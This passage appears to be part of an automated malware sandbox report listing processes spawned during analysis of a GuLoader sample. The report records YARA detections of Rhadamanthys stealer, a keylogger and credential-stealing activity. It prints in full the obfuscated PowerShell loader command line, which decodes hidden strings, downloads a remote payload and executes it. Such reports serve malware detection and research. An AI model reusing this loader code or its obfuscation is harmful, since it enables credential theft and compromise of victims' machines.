L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKlR DePerJuNPoeCaSB,=El( ut aE RsKuTSo-PrPA AF,t oHen No$SnHStj leK rHinTee jRGoSDr)') ;Fortynderes (Elevtimens ' $ lgWhl SOKnBF aP LD :jer ,EfrSDyI GLiN E SR u=Hj$LaG ulLoOp b tA rl u:deTnaES kS s Pt FM AAShr dK.fEBrr HI DnragPa+Ko+Si%S $I BK IB B ,EDkhFeO IL SDPaECaLBrSDierenDeS h.Pec .OAcuScNT.t') ;$niveauoplysning=$Bibeholdelsens[$Resigner]}$Aldersbestemmelserne=300108;$yellowcup=30110;Fortynderes (Elevtimens 'Te$ IgTaLDro SB oaLaL : uiK rS,RSnE tV e rR Rs Ai ,BNolSdyOo Ba=S PlgKaesaTWh-HacAlo WnM,TGueSeNditAn Su$Juh ijF eBaR N oe.tRBrS');Fortynderes (Elevtimens 'S,$Klg ,lPro pbU.aa,l p:EkcAnoMan nt crKoa.cr Fi uwMaiGosPeeEx =In El[NdSfuy Ss,ttS eUdmM .PoCS,o nUnvtreFyrM t S] T:E :GaF yr,qoBom ,B ,aL,s eO 6Me4raSIntE,rMaiCunReg a(.e$ TIUprNyrSpeLavSaePrr ssMiipob MlBeyno)');Fortynderes (Elevtimens ',o$StGTrlKuo Lb .a llTe:PemP,a CK rSD IUnm uEReRs IFonOmgShE rKrNDeEBrSud .o= D Ki[ sFdyEcs ,TBye amA .OrT uENaXS TCa.,keIsnKoCT.o BD.mIT nlyG r]Oo:Ha:Twa SsVeCGoi diSv. MG e FtS STrt,trL.iDin gBa( S$r cSwoBeNExtA.rYnAH RTiISpwskI ,SBre,u)');Fortynderes (Elevtimens ' T$ BGGaL OA bK ATilRa:LaaVeLStD UrK,eGon,kdKuEUn=Re$InmC.A sKPrSUnIOvMS ESar.rI lnScg ,EDeRQun Kemis c. sFou .bZaSGrtTirChIGen iG.a(P $Caa Al D eT,R Os SbTieNysCht.tE CmbrMF,EOpLJuSD.EOvrC nSne.d,Dj$v yCheInlP L O KwK cFoUC PS )');Fortynderes $Aldrende;"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000004.00000002.1555228381.0000021D90071000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	04:38:19
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	04:38:37
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKlR DePerJuNPoeCaSB,=El( ut aE RsKuTSo-PrPA AF,t oHen No$SnHStj leK rHinTee jRGoSDr)') ;Fortynderes (Elevtimens ' $ lgWhl SOKnBF aP LD :jer ,EfrSDyI GLiN E SR u=Hj$LaG ulLoOp b tA rl u:deTnaES kS s Pt FM AAShr dK.fEBrr HI DnragPa+Ko+Si%S $I BK IB B ,EDkhFeO IL SDPaECaLBrSDierenDeS h.Pec .OAcuScNT.t') ;$niveauoplysning=$Bibeholdelsens[$Resigner]}$Aldersbestemmelserne=300108;$yellowcup=30110;Fortynderes (Elevtimens 'Te$ IgTaLDro SB oaLaL : uiK rS,RSnE tV e rR Rs Ai ,BNolSdyOo Ba=S PlgKaesaTWh-HacAlo WnM,TGueSeNditAn Su$Juh ijF eBaR N oe.tRBrS');Fortynderes (Elevtimens 'S,$Klg ,lPro pbU.aa,l p:EkcAnoMan nt crKoa.cr Fi uwMaiGosPeeEx =In El[NdSfuy Ss,ttS eUdmM .PoCS,o nUnvtreFyrM t S] T:E :GaF yr,qoBom ,B ,aL,s eO 6Me4raSIntE,rMaiCunReg a(.e$ TIUprNyrSpeLavSaePrr ssMiipob MlBeyno)');Fortynderes (Elevtimens ',o$StGTrlKuo Lb .a llTe:PemP,a CK rSD IUnm uEReRs IFonOmgShE rKrNDeEBrSud .o= D Ki[ sFdyEcs ,TBye amA .OrT uENaXS TCa.,keIsnKoCT.o BD.mIT nlyG r]Oo:Ha:Twa SsVeCGoi diSv. MG e FtS STrt,trL.iDin gBa( S$r cSwoBeNExtA.rYnAH RTiISpwskI ,SBre,u)');Fortynderes (Elevtimens ' T$ BGGaL OA bK ATilRa:LaaVeLStD UrK,eGon,kdKuEUn=Re$InmC.A sKPrSUnIOvMS ESar.rI lnScg ,EDeRQun Kemis c. sFou .bZaSGrtTirChIGen iG.a(P $Caa Al D eT,R Os SbTieNysCht.tE CmbrMF,EOpLJuSD.EOvrC nSne.d,Dj$v yCheInlP L O KwK cFoUC PS )');Fortynderes $Aldrende;"
Imagebase:	0x810000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000007.00000002.1789176550.000000000952F000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000007.00000002.1773360781.000000000607D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000007.00000002.1788756051.0000000008D70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	04:38:37
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	04:38:59
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x930000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000009.00000003.1942766561.0000000023B10000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000009.00000003.1940336602.0000000000130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000009.00000003.1942589272.00000000238F0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000009.00000003.1955237609.00000000232F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	04:39:19
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x790000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000D.00000003.1943543611.0000000002DE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000003.1946639469.00000000056C0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000003.1946474653.00000000054A0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000D.00000002.2033441930.0000000003510000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	04:39:28
Start date:	05/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2172788749.0000024F6AAC9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2195173707.0000024F6AACB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2194338542.0000024F6AACA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2194235697.0000024F6AACC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2193874788.0000024F6AACC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Target ID:	15
Start time:	04:39:39
Start date:	05/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	--user-data-dir="C:\Users\user~1\AppData\Local\Temp\chr1B0.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a506004f/bd5c97e1"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	16
Start time:	04:39:39
Start date:	05/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	17
Start time:	04:39:40
Start date:	05/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2484 --field-trial-handle=2460,i,18042430906892468815,13956811968867216056,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	04:39:41
Start date:	05/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	--user-data-dir="C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a506004f/0da50779"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	04:39:42
Start date:	05/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2140,i,8472983126919404237,17192914109164823712,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	21
Start time:	04:40:00
Start date:	05/12/2024
Path:	C:\Program Files\Windows Media Player\wmplayer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\wmplayer.exe"
Imagebase:	0x7ff766690000
File size:	171'008 bytes
MD5 hash:	89DCD2D4C0EC638AADC00D3530E07E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	22
Start time:	04:40:05
Start date:	05/12/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\dllhost.exe"
Imagebase:	0x7ff7d8730000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false